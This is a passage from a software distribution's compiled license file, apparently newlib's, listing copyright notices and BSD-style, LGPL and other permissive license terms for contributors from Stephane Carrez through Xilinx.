WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. + +(10) Stephane Carrez (m68hc11-elf/m68hc12-elf targets only) + +Copyright (C) 1999, 2000, 2001, 2002 Stephane Carrez (stcarrez@nerim.fr) + +The authors hereby grant permission to use, copy, modify, distribute, +and license this software and its documentation for any purpose, provided +that existing copyright notices are retained in all copies and that this +notice is included verbatim in any distributions. No written agreement, +license, or royalty fee is required for any of the authorized uses. +Modifications to this software may be copyrighted by their authors +and need not follow the licensing terms described here, provided that +the new terms are clearly indicated on the first page of each file where +they apply. + +(11) Christopher G. Demetriou + +Copyright (c) 2001 Christopher G. Demetriou +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(12) SuperH, Inc. + +Copyright 2002 SuperH, Inc. All rights reserved + +This software is the property of SuperH, Inc (SuperH) which specifically +grants the user the right to modify, use and distribute this software +provided this notice is not removed or altered. All other rights are +reserved by SuperH. + +SUPERH MAKES NO WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, WITH REGARD TO +THIS SOFTWARE. IN NO EVENT SHALL SUPERH BE LIABLE FOR INDIRECT, SPECIAL, +INCIDENTAL OR CONSEQUENTIAL DAMAGES IN CONNECTION WITH OR ARISING FROM +THE FURNISHING, PERFORMANCE, OR USE OF THIS SOFTWARE. + +So that all may benefit from your experience, please report any problems +or suggestions about this software to the SuperH Support Center via +e-mail at softwaresupport@superh.com . + +SuperH, Inc. +405 River Oaks Parkway +San Jose +CA 95134 +USA + +(13) Royal Institute of Technology + +Copyright (c) 1999 Kungliga Tekniska Högskolan +(Royal Institute of Technology, Stockholm, Sweden). +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +3. Neither the name of KTH nor the names of its contributors may be + used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY KTH AND ITS CONTRIBUTORS ``AS IS'' AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL KTH OR ITS CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR +BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(14) Alexey Zelkin + +Copyright (c) 2000, 2001 Alexey Zelkin +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(15) Andrey A. Chernov + +Copyright (C) 1997 by Andrey A. Chernov, Moscow, Russia. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(16) FreeBSD + +Copyright (c) 1997-2002 FreeBSD Project. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(17) S. L. Moshier + +Author: S. L. Moshier. + +Copyright (c) 1984,2000 S.L. Moshier + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, THE AUTHOR MAKES NO REPRESENTATION +OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY OF THIS +SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +(18) Citrus Project + +Copyright (c)1999 Citrus Project, +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(19) Todd C. Miller + +Copyright (c) 1998 Todd C. Miller +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(20) DJ Delorie (i386) +Copyright (C) 1991 DJ Delorie +All rights reserved. + +Redistribution, modification, and use in source and binary forms is permitted +provided that the above copyright notice and following paragraph are +duplicated in all such forms. + +This file is distributed WITHOUT ANY WARRANTY; without even the implied +warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +(21) Free Software Foundation LGPL License (*-linux* targets only) + + Copyright (C) 1990-1999, 2000, 2001 Free Software Foundation, Inc. + This file is part of the GNU C Library. + Contributed by Mark Kettenis , 1997. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + +(22) Xavier Leroy LGPL License (i[3456]86-*-linux* targets only) + +Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr) + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU Library General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Library General Public License for more details. + +(23) Intel (i960) + +Copyright (c) 1993 Intel Corporation + +Intel hereby grants you permission to copy, modify, and distribute this +software and its documentation. Intel grants this permission provided +that the above copyright notice appears in all copies and that both the +copyright notice and this permission notice appear in supporting +documentation. In addition, Intel grants this permission provided that +you prominently mark as "not part of the original" any modifications +made to this software or documentation, and that the name of Intel +Corporation not be used in advertising or publicity pertaining to +distribution of the software or the documentation without specific, +written prior permission. + +Intel Corporation provides this AS IS, WITHOUT ANY WARRANTY, EXPRESS OR +IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY +OR FITNESS FOR A PARTICULAR PURPOSE. Intel makes no guarantee or +representations regarding the use of, or the results of the use of, +the software and documentation in terms of correctness, accuracy, +reliability, currentness, or otherwise; and you rely on the software, +documentation and results solely at your own risk. + +IN NO EVENT SHALL INTEL BE LIABLE FOR ANY LOSS OF USE, LOSS OF BUSINESS, +LOSS OF PROFITS, INDIRECT, INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES +OF ANY KIND. IN NO EVENT SHALL INTEL'S TOTAL LIABILITY EXCEED THE SUM +PAID TO INTEL FOR THE PRODUCT LICENSED HEREUNDER. + +(24) Hewlett-Packard (hppa targets only) + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(25) Henry Spencer (only *-linux targets) + +Copyright 1992, 1993, 1994 Henry Spencer. All rights reserved. +This software is not subject to any license of the American Telephone +and Telegraph Company or of the Regents of the University of California. + +Permission is granted to anyone to use this software for any purpose on +any computer system, and to alter it and redistribute it, subject +to the following restrictions: + +1. The author is not responsible for the consequences of use of this + software, no matter how awful, even if they arise from flaws in it. + +2. The origin of this software must not be misrepresented, either by + explicit claim or by omission. Since few users ever read sources, + credits must appear in the documentation. + +3. Altered versions must be plainly marked as such, and must not be + misrepresented as being the original software. Since few users + ever read sources, credits must appear in the documentation. + +4. This notice may not be removed or altered. + +(26) Mike Barcroft + +Copyright (c) 2001 Mike Barcroft +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(27) Konstantin Chuguev (--enable-newlib-iconv) + +Copyright (c) 1999, 2000 + Konstantin Chuguev. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + + iconv (Charset Conversion Library) v2.0 + +(28) Artem Bityuckiy (--enable-newlib-iconv) + +Copyright (c) 2003, Artem B. Bityuckiy, SoftMine Corporation. +Rights transferred to Franklin Electronic Publishers. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(29) IBM, Sony, Toshiba (only spu-* targets) + + (C) Copyright 2001,2006, + International Business Machines Corporation, + Sony Computer Entertainment, Incorporated, + Toshiba Corporation, + + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the names of the copyright holders nor the names of their + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. + +(30) - Alex Tatmanjants (targets using libc/posix) + + Copyright (c) 1995 Alex Tatmanjants + at Electronni Visti IA, Kiev, Ukraine. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(31) - M. Warner Losh (targets using libc/posix) + + Copyright (c) 1998, M. Warner Losh + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(32) - Andrey A. Chernov (targets using libc/posix) + + Copyright (C) 1996 by Andrey A. Chernov, Moscow, Russia. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(33) - Daniel Eischen (targets using libc/posix) + + Copyright (c) 2001 Daniel Eischen . + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. 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Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. 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Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + 3. The name of the company may not be used to endorse or promote + products derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY ARM LTD ``AS IS'' AND ANY EXPRESS OR IMPLIED + WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + IN NO EVENT SHALL ARM LTD BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED + TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(36) - Xilinx, Inc. (microblaze-* and powerpc-* targets) + +Copyright (c) 2004, 2009 Xilinx, Inc. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions source code must retain the above copyright notice, +this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +3. Neither the name of Xilinx nor the names of its contributors may be +used to endorse or promote products derived from this software without +specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS +IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) 